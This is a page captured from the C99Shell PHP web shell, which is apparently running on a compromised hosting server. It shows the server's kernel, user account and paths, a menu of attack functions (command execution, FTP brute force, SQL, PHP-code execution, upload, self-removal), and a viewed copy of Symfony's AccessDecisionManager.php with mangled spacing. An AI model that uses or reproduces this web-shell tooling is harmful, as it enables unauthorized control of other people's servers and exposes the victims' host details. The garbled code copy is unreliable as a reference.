!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Security/Core/Authorization/   drwxr-xr-x
Free 294.16 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AccessDecisionManager.php (6.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Security\Core\Authorization;

use 
Symfony\Component\Security\Core\Authorization\Voter\VoterInterface;
use 
Symfony\Component\Security\Core\Authentication\Token\TokenInterface;

/**
 * AccessDecisionManager is the base class for all access decision managers
 * that use decision voters.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class AccessDecisionManager implements AccessDecisionManagerInterface
{
    private 
$voters;
    private 
$strategy;
    private 
$allowIfAllAbstainDecisions;
    private 
$allowIfEqualGrantedDeniedDecisions;

    
/**
     * Constructor.
     *
     * @param VoterInterface[] $voters                             An array of VoterInterface instances
     * @param string           $strategy                           The vote strategy
     * @param Boolean          $allowIfAllAbstainDecisions         Whether to grant access if all voters abstained or not
     * @param Boolean          $allowIfEqualGrantedDeniedDecisions Whether to grant access if result are equals
     *
     * @throws \InvalidArgumentException
     */
    
public function __construct(array $voters$strategy 'affirmative'$allowIfAllAbstainDecisions false$allowIfEqualGrantedDeniedDecisions true)
    {
        if (!
$voters) {
            throw new \
InvalidArgumentException('You must at least add one voter.');
        }

        
$strategyMethod 'decide'.ucfirst($strategy);
        if (!
is_callable(array($this$strategyMethod))) {
            throw new \
InvalidArgumentException(sprintf('The strategy "%s" is not supported.'$strategy));
        }

        
$this->voters $voters;
        
$this->strategy $strategyMethod;
        
$this->allowIfAllAbstainDecisions = (Boolean) $allowIfAllAbstainDecisions;
        
$this->allowIfEqualGrantedDeniedDecisions = (Boolean) $allowIfEqualGrantedDeniedDecisions;
    }

    
/**
     * {@inheritdoc}
     */
    
public function decide(TokenInterface $token, array $attributes$object null)
    {
        return 
$this->{$this->strategy}($token$attributes$object);
    }

    
/**
     * {@inheritdoc}
     */
    
public function supportsAttribute($attribute)
    {
        foreach (
$this->voters as $voter) {
            if (
$voter->supportsAttribute($attribute)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * {@inheritdoc}
     */
    
public function supportsClass($class)
    {
        foreach (
$this->voters as $voter) {
            if (
$voter->supportsClass($class)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Grants access if any voter returns an affirmative response.
     *
     * If all voters abstained from voting, the decision will be based on the
     * allowIfAllAbstainDecisions property value (defaults to false).
     */
    
private function decideAffirmative(TokenInterface $token, array $attributes$object null)
    {
        
$deny 0;
        foreach (
$this->voters as $voter) {
            
$result $voter->vote($token$object$attributes);
            switch (
$result) {
                case 
VoterInterface::ACCESS_GRANTED:
                    return 
true;

                case 
VoterInterface::ACCESS_DENIED:
                    ++
$deny;

                    break;

                default:
                    break;
            }
        }

        if (
$deny 0) {
            return 
false;
        }

        return 
$this->allowIfAllAbstainDecisions;
    }

    
/**
     * Grants access if there is consensus of granted against denied responses.
     *
     * Consensus means majority-rule (ignoring abstains) rather than unanimous
     * agreement (ignoring abstains). If you require unanimity, see
     * UnanimousBased.
     *
     * If there were an equal number of grant and deny votes, the decision will
     * be based on the allowIfEqualGrantedDeniedDecisions property value
     * (defaults to true).
     *
     * If all voters abstained from voting, the decision will be based on the
     * allowIfAllAbstainDecisions property value (defaults to false).
     */
    
private function decideConsensus(TokenInterface $token, array $attributes$object null)
    {
        
$grant 0;
        
$deny 0;
        
$abstain 0;
        foreach (
$this->voters as $voter) {
            
$result $voter->vote($token$object$attributes);

            switch (
$result) {
                case 
VoterInterface::ACCESS_GRANTED:
                    ++
$grant;

                    break;

                case 
VoterInterface::ACCESS_DENIED:
                    ++
$deny;

                    break;

                default:
                    ++
$abstain;

                    break;
            }
        }

        if (
$grant $deny) {
            return 
true;
        }

        if (
$deny $grant) {
            return 
false;
        }

        if (
$grant == $deny && $grant != 0) {
            return 
$this->allowIfEqualGrantedDeniedDecisions;
        }

        return 
$this->allowIfAllAbstainDecisions;
    }

    
/**
     * Grants access if only grant (or abstain) votes were received.
     *
     * If all voters abstained from voting, the decision will be based on the
     * allowIfAllAbstainDecisions property value (defaults to false).
     */
    
private function decideUnanimous(TokenInterface $token, array $attributes$object null)
    {
        
$grant 0;
        foreach (
$attributes as $attribute) {
            foreach (
$this->voters as $voter) {
                
$result $voter->vote($token$object, array($attribute));

                switch (
$result) {
                    case 
VoterInterface::ACCESS_GRANTED:
                        ++
$grant;

                        break;

                    case 
VoterInterface::ACCESS_DENIED:
                        return 
false;

                    default:
                        break;
                }
            }
        }

        
// no deny votes
        
if ($grant 0) {
            return 
true;
        }

        return 
$this->allowIfAllAbstainDecisions;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.098 ]--